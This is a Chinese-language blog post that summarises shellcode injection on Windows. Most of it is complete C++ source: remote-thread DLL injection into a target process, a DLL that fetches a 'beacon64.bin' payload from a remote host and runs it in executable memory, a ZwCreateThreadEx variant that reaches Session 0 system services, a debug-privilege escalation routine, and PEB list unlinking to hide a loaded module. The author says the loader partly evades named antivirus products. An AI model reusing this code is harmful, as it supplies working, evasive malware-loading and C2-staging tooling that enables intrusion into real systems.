Shellcode注入总结
6x0 远程线程注入dll
通过在其他进程创建一个远程线程,执行我们的shellcode加载器dll
效果:
目前dll的shellcode加载器使用了远程加载,能大概绕过火绒静动态,defender的静态。360动静态全杀
6x0x0 直接看注入exe代码:
#include <iostream>
#include <tchar.h>
#include <windows.h>
#include <TlHelp32.h>
DWORD GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
//PROCESSENTRY32是一个存储进程信息的结构体类型,这里定义了一个名为 p32 的 PROCESSENTRY32 类型的变量
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
//使用作用域解析运算符::来明确指定全局命名空间中的函数,这样可以避免命名冲突
if (lpSnapshot == INVALID_HANDLE_VALUE)
//INVALID_HANDLE_VALUE是CreateToolhelp32Snapshot函数的返回值
{
printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
// p32.dwSize是结构体的大小,需要在使用前设置
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
DWORD RemoteThreadInject(DWORD Pid, LPCWSTR DllName)
{
DWORD size = 0;
DWORD DllAddr = 0;
// 1.打开进程
HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (hprocess == NULL)
{
printf("OpenProcess error!\n");
return FALSE;
}
size = (wcslen(DllName) + 1) * sizeof(TCHAR);
// 2.申请空间
LPVOID pAllocMemory = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT,
PAGE_READWRITE);
if (pAllocMemory == NULL)
{
printf("VirtualAllocEx error!\n");
return FALSE;
}
// 3.写入内存
BOOL Write = WriteProcessMemory(hprocess, pAllocMemory, DllName, size,
NULL);
if (pAllocMemory == 0)
{
printf("WriteProcessMemory error!\n");
return FALSE;
}
// 4.获取LoadLibrary - kenrel32.dll
FARPROC pThread = GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"LoadLibraryW");
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
// 5.创建线程
HANDLE hThread = CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory,
0, NULL);
if (hThread == NULL)
{
printf("CreateRemoteThread error!\n");
return FALSE;
}
// 6.等待线程函数结束
WaitForSingleObject(hThread, -1);
// 7.释放DLL空间
VirtualFreeEx(hprocess, pAllocMemory, size, MEM_DECOMMIT);
// 8.关闭句柄
CloseHandle(hprocess);
return TRUE;
}
int main()
{
TCHAR szFilePath[MAX_PATH];
GetModuleFileName(NULL, szFilePath, MAX_PATH);
// 从路径中提取目录路径
std::wstring strFilePath(szFilePath);
std::wstring strDirectory = strFilePath.substr(0, strFilePath.find_last_of(L"\\") + 1);
// 构建 Shellcode.dll 的路径
std::wstring strDllPath = strDirectory + L"Shellcode.dll";
// 获取 notepad.exe 进程的 PID,并注入 Shellcode.dll
DWORD PID = GetProcessPID(L"notepad.exe");
DWORD TMP = RemoteThreadInject(PID, strDllPath.c_str());
}
vs编译的程序在其他pc环境下运行报错丢失VCRUNTIME140D.dll
在VS工程项目中,设置 属性—>配置属性—>C/C++ —>代码生成—>运行库,Release 选择 多线程(/MT), Debug 选择 多线程调试 (/MTd)
代码解释:
- 第一个函数GetProcessPID获取进程PID
- 第二个函数先通过OpenProcess打开我们想注入的进程A
- VirtualAllocEx远程在进程A申请一块空间
- WriteProcessMemory在申请的空间写入dllname
- GetProcAddress获取LoadLibraryW函数的地址
- CreateRemoteThread远程创建线程,主要是第三个第四个参数,第三个参数是LoadLibraryW函数的地址,第四个参数是我们要传给LoadLibraryW的参数,也就是我们的dllname,也就是这条线程执行LoadLibraryW函数,参数是dllname。
- 最后在main函数获取shellcode.dll的路径,获取PID并执行RemoteThreadInject
6x0x1 dll加载shellcode的代码
**注意我们需要在dll的主函数DllMain创建线程去加载我们的shellcode,而不是直接在DllMain去加载,不然程序会堵塞**
dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
LPVOID shellcode_addr;
void fun()
{
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5002";
char* Resource = "beacon64.bin";
//getShellcode_Run(argv[1], argv[2], argv[3]);
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
DWORD Oldprotect = 0;
VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Oldprotect);
((void(*)())shellcode_addr)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
unsigned long ulThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)fun, NULL, 0, &ulThreadId);
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
pch.cpp
// pch.cpp: 与预编译标头对应的源文件
#include "pch.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
// 当使用预编译的头时,需要使用此源文件,编译才能成功。
DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr, 0, 400000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
pch.h
#ifndef PCH_H
#define PCH_H
// 添加要在此处预编译的标头
#include "framework.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "ntdll")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr);
#endif //PCH_H
6x0x2 使用agrv优化loader
注意第一行int _tmain(int argc,TCHAR* argv[])
,这里字符集的问题很多,建议使用unicode,他在内存中是宽字节存储,所以打印需要wprintf
函数
int _tmain(int argc,TCHAR* argv[])
{
if (argc != 3) {
std::cerr << "Usage: " << argv[0] << " <ProcessName> <DllPath>" << std::endl;
return 1;
}
// 从命令行参数中获取进程名称和 DLL 文件路径
//wprintf(L"%s", argv[1]);
// 获取当前程序的路径
TCHAR szFilePath[MAX_PATH];
GetModuleFileName(NULL, szFilePath, MAX_PATH);
// 从路径中提取目录路径
std::wstring strFilePath(szFilePath);
std::wstring strDirectory = strFilePath.substr(0, strFilePath.find_last_of(L"\\") + 1);
// 构建 Shellcode.dll 的路径
std::wstring strDllFullPath = strDirectory + argv[2];
if (argc == 3) {
DWORD PID = 0;
PID = GetProcessPID(argv[1]);
std::wcout << L"Process PID: " << PID << std::endl;
DWORD TMP = RemoteThreadInject(PID, strDllFullPath.c_str());
std::wcout << L"RemoteThreadInject result: " << TMP << std::endl;
}
else {
std::cerr << "fail." << std::endl;
}
return 0;
// 获取 notepad.exe 进程的 PID,并注入 Shellcode.dll
}
6x0x3 这是使用多字节字符集的代码
int _tmain(int argc,TCHAR* argv[])
{
if (argc != 3) {
std::cerr << "Usage: " << argv[0] << " <ProcessName> <DllPath>" << std::endl;
return 1;
}
// 从命令行参数中获取进程名称和 DLL 文件路径
//wprintf(L"%s", argv[1]);
// 获取当前程序的路径
TCHAR szFilePath[MAX_PATH];
GetModuleFileName(NULL, szFilePath, MAX_PATH);
// 从路径中提取目录路径
std::string strFilePath(szFilePath);
std::string strDirectory = strFilePath.substr(0, strFilePath.find_last_of("\\") + 1);
// 构建 Shellcode.dll 的路径
std::string strDllFullPath = strDirectory + argv[2];
if (argc == 3) {
DWORD PID = 0;
//printf("%s", argv[1]);
PID = GetProcessPID(argv[1]);
std::cout << "Process PID: " << PID << std::endl;
DWORD TMP = RemoteThreadInject(PID, strDllFullPath.c_str());
std::cout << "RemoteThreadInject result: " << TMP << std::endl;
}
else {
std::cerr << "fail." << std::endl;
}
return 0;
}
6x1 突破Session 0 隔离
注入系统进程时,上面的远程线程注入就用不了了,所以我们需要换一个未定义的底层函数ZwCreateThreadEx
来进行注入
Session 0
服务代表操作系统的核心组件和服务,例如用户登录和注销服务、Windows服务管理器、本地安全权限维护、设备驱动程序等
应用程序代表用户会话(非管理员权限)
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0,如下图所示,在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序
从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,Session 0 隔离的目的是防止服务和系统级进程受到来自用户模式程序的恶意攻击,这些攻击可能会利用服务的特权来对系统进行潜在的破坏。通过将系统服务和用户模式应用程序隔离到不同的会话中,可以减少潜在的安全威胁,提高系统的整体安全性。
6x1x0 IDA反汇编跟CreateRemoteThread函数
kernel32!CreateRemoteThread
可以看到对 CreateRemoteThread 的参数进行一些处理,由原来的7个参数扩展到了8个参数,并且对dwCreationFlags参数进行了一些安全处理,规避了系统规定参数外的无效参数。然后将参数转发到KERNELBASE模块
点一下红色的函数跳转到kernelbase.dll
导出表可以看是哪个dllkernelbase!CreateRemoteThreadEx
重新打开一个新的kernelbase.dll文件,找到CreateRemoteThreadEx
点空格可以按流程图看,就不用自己去判断汇编代码因为汇编代码有jz等跳转代码,只看汇编需要一步一步去跟,也可以按tab键用伪代码看
直到找到一个跟CreateRemoteThread比较相近的函数,还是ntdll的函数,那么就是3环里最后一个函数了ntdll!NtCreateThreadEx
kernel32!CreateRemoteThread
-> kernelbase!CreateRemoteThreadEx
-> ntdll!NtCreateThreadEx
-> syscall
-> 内核
-> SSDT表
6x1x1 突破session 0 隔离
由于SESSION 0隔离机制在内核6.0之后(vista、7、8...),当创建一个进程后,并不会立即运行,通过先挂起进程,查看要运行的进程所在会话层之后再决定是否恢复进程运行(待逆向观察)ZwCreateThreadEx
函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中,CreateRemoteThread 注入系统进程会失败的原因是因为调用 ZwCreateThreadEx 创建远程线程时,第七个参数CreateThreadFlags 为1,他会导致线程创建完成后一直挂起无法恢复进程运行,导致DLL注入失败。但是我们自己调用ZwCreateThreadEx
再给第七个参数传入0即可
代码实现:
其实就是更换了远程线程注入的函数ZwCreateThreadEx
#include <iostream>
#include <tchar.h>
#include <windows.h>
#include <TlHelp32.h>
DWORD GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
//PROCESSENTRY32是一个存储进程信息的结构体类型,这里定义了一个名为 p32 的 PROCESSENTRY32 类型的变量
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
//使用作用域解析运算符::来明确指定全局命名空间中的函数,这样可以避免命名冲突
if (lpSnapshot == INVALID_HANDLE_VALUE)
//INVALID_HANDLE_VALUE是CreateToolhelp32Snapshot函数的返回值
{
printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
// p32.dwSize是结构体的大小,需要在使用前设置
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
DWORD RemoteThreadInject(DWORD Pid, LPCSTR DllName)
{
DWORD size = 0;
DWORD DllAddr = 0;
// 1.打开进程
HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (hprocess == NULL)
{
printf("OpenProcess error!\n");
return FALSE;
}
size = (strlen(DllName) + 1) * sizeof(TCHAR);
// 2.申请空间
LPVOID pAllocMemory = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT,
PAGE_READWRITE);
if (pAllocMemory == NULL)
{
printf("VirtualAllocEx error!\n");
return FALSE;
}
// 3.写入内存
BOOL Write = WriteProcessMemory(hprocess, pAllocMemory, DllName, size,
NULL);
if (pAllocMemory == 0)
{
printf("WriteProcessMemory error!\n");
return FALSE;
}
// 4.获取LoadLibrary - kenrel32.dll
FARPROC pThread = GetProcAddress(GetModuleHandle("kernel32.dll"),
"LoadLibraryW");
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
// 加载 ntdll.dll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
printf("ntdll加载失败。\n");
return FALSE;
}
//5.调用ZwCreateThreadEx创建线程
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("GetProcAddress_ZwCreateThread\n");
return FALSE;
}
// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
HANDLE hRemoteThread = NULL;
DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess, (LPTHREAD_START_ROUTINE)addr, pAllocMemory, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
printf("ZwCreateThreadEx fail\n");
return FALSE;
}
// 6.等待线程函数结束
WaitForSingleObject(hRemoteThread, -1);
// 7.释放DLL空间
VirtualFreeEx(hprocess, pAllocMemory, size, MEM_DECOMMIT);
// 8.关闭句柄
CloseHandle(hprocess);
return TRUE;
}
int main(int argc, TCHAR* argv[])
{
if (argc != 3) {
std::cerr << "Usage: " << argv[0] << " <ProcessName> <DllPath>" << std::endl;
return 1;
}
// 从命令行参数中获取进程名称和 DLL 文件路径
//wprintf(L"%s", argv[1]);
// 获取当前程序的路径
TCHAR szFilePath[MAX_PATH];
GetModuleFileName(NULL, szFilePath, MAX_PATH);
// 从路径中提取目录路径
std::string strFilePath(szFilePath);
std::string strDirectory = strFilePath.substr(0, strFilePath.find_last_of("\\") + 1);
// 构建 Shellcode.dll 的路径
std::string strDllFullPath = strDirectory + argv[2];
if (argc == 3) {
DWORD PID = 0;
//printf("%s", argv[1]);
PID = GetProcessPID(argv[1]);
std::cout << "Process PID: " << PID << std::endl;
DWORD TMP = RemoteThreadInject(PID, strDllFullPath.c_str());
std::cout << "RemoteThreadInject result: " << TMP << std::endl;
}
else {
std::cerr << "fail." << std::endl;
}
return 0;
}
提权函数
// 提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
6x2 3环断链隐藏dll
6x2x0 TEB/PEB
每个线程都有一个TEB结构来存储线程的一些属性结构,32位中TEB的地址用 fs:[0] 来获取,64位TEB 的地址可以通过 GS 寄存器来获取
在0x30这个地址有一个指针指向 PEB
结构,PEB就是进程用来记录自己信息的一个结构
在PEB
的 0x00c 偏移有一个_PEB_LDR_DATA
结构跟进去InLoadOrderModuleList
:模块加载的顺序InMemoryOrderModuleList
:模块在内存的顺序InInitializationOrderModuleList
:模块初始化的顺序
结构中提供了三个链表,链表内的节点都是一样的,只是排序不同。由于我们要寻找kernel32的基址,所以我们选择第三个 InInitializationOrderModuleList ,这样kernel32的链表节点会比较靠前
这个结构有两个成员,第一个成员 Flink 指向下一个节点, Blink 指向上一个节点。
接下来是重点:_PEB_LDR_DATA
结构只是一个入口,不是链表节点
真正的链表节点是下图的_LDR_DATA_TABLE_ENTRY
整体结构:
6x2x1 64位asm内联汇编
1、创建一个源文件asm.asm
2、asm文件属性设置
3、自定义生成工具设置:
ml64 /c %(filename).asm
%(filename).obj;%(Outputs)
asm代码模板
EXTERN myprint:PROC ;引用外部函数
EXTERN g_iValue:DQ ;引用外部变量,dq是QWORD,8字节的变量
.DATA
val1 DQ ?;自己定义变量
.CODE
func2 PROC
sub rsp,28h ; 这个地方可能是为了栈空间对齐,不这样做有可能会崩掉,原因未知。反正反汇编一x64的代码都有这个东西
call myprint
mov r10,g_iValue ; 此处使用中的stdafx.h全局变量。
mov val1,r10 ; 使用自定义的变量
mov rax,val1 ; 写入返回值
add rsp,28h
ret
FUNC2 ENDP
END
在汇编中调用winapi
有时候需要在汇编中调用windows的64位的API,在调用API之前首先要明白函数调用约定。
在32位系统中我们调用的用户态API一般都遵循WINAPI(__stdcall)的调用约定,主要规则有两条: 1. 函数参数由右向左入栈;2. 函数调用结束后由被调用函数清除栈内数据(其实是被调者参数的清除)。所以在调用一个遵循WINAPI的函数之后,不需要自己来做被调函数栈空间的清除,因为被调函数已经恢复过了。而在x64汇编中,两方面都发生了变化。一是前四个参数分析通过四个寄存器传递:RCX、RDX、R8、R9,如果还有更多的参数,才通过椎栈传递。二是调用者负责椎栈空间的分配与回收。
INCLUDELIB kernel32.lib ; 告诉连接器链接这个动态库
EXTERN MessageBoxA:PROC ; 引用 MessageBoxA函数
.DATA
; 定义局部变量
szCaption db '恭喜',0
szText db '当您看到这个信息的时候,您已经可以编译Win32汇编程序了!',0
.CODE
func2 PROC
sub rsp,28h
mov rcx, 0
mov rdx, offset szText;
mov r8, offset szCaption
mov r9, 0
call MessageBoxA
add rsp,28h
ret
FUNC2 ENDP
END
sub rsp,28h
是为了给被调用函数的参数和返回地址预留栈空间
6x2X2 3环断链隐藏实现
实现代码:
#include <Windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
// LDR链表头
typedef struct _PEB_LDR_DATA
{
DWORD Length;
bool Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList; // 指向了 InLoadOrderModuleList 链表的第一项
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
void* BaseAddress;
void* EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
HANDLE SectionHandle;
ULONG CheckSum;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
void HideModule(HANDLE hModule)
{
PPEB_LDR_DATA ldr;
PLDR_DATA_TABLE_ENTRY ldte;
__asm
{
mov eax, fs: [0x30] //定位到PEB
mov ecx, [eax + 0x0c] //定位到LDR
mov ldr, ecx
}
PLIST_ENTRY Head, Cur;
Head = &(ldr->InLoadOrderModuleList);
Cur = Head->Flink;
do
{
ldte = CONTAINING_RECORD(Cur, LDR_DATA_TABLE_ENTRY,
InLoadOrderModuleList);
if (ldte->BaseAddress == hModule)
{
//匹配到我们指定的dll后进行断链操作
ldte->InLoadOrderModuleList.Blink->Flink = ldte -> InLoadOrderModuleList.Flink;
ldte->InLoadOrderModuleList.Flink->Blink = ldte -> InLoadOrderModuleList.Blink;
}
Cur = Cur->Flink;
} while (Head != Cur);
Head = &(ldr->InMemoryOrderModuleList);
Cur = Head->Flink;
//三次dowhile给三个表都断链
do
{
ldte = CONTAINING_RECORD(Cur, LDR_DATA_TABLE_ENTRY,
InMemoryOrderModuleList);
if (ldte->BaseAddress == hModule)
{
ldte->InMemoryOrderModuleList.Blink->Flink = ldte -> InMemoryOrderModuleList.Flink;
ldte->InMemoryOrderModuleList.Flink->Blink = ldte -> InMemoryOrderModuleList.Blink;
}
Cur = Cur->Flink;
} while (Head != Cur);
Head = &(ldr->InInitializationOrderModuleList);
Cur = Head->Flink;
do
{
ldte = CONTAINING_RECORD(Cur, LDR_DATA_TABLE_ENTRY,
InInitializationOrderModuleList);
if (ldte->BaseAddress == hModule)
{
ldte->InInitializationOrderModuleList.Blink->Flink = ldte -> InInitializationOrderModuleList.Flink;
ldte->InInitializationOrderModuleList.Flink->Blink = ldte -> InInitializationOrderModuleList.Blink;
}
Cur = Cur->Flink;
} while (Head != Cur);
}
int main(int argc, CHAR* argv[])
{
printf("点任意按键开始断链");
getchar();
HideModule(GetModuleHandleA("kernel32.dll"));
printf("断链成功\n");
getchar();
return 0;
}
标签:总结,iResult,include,return,printf,DWORD,NULL,Shellcode,注入
From: https://www.cnblogs.com/xiaoxin07/p/18097443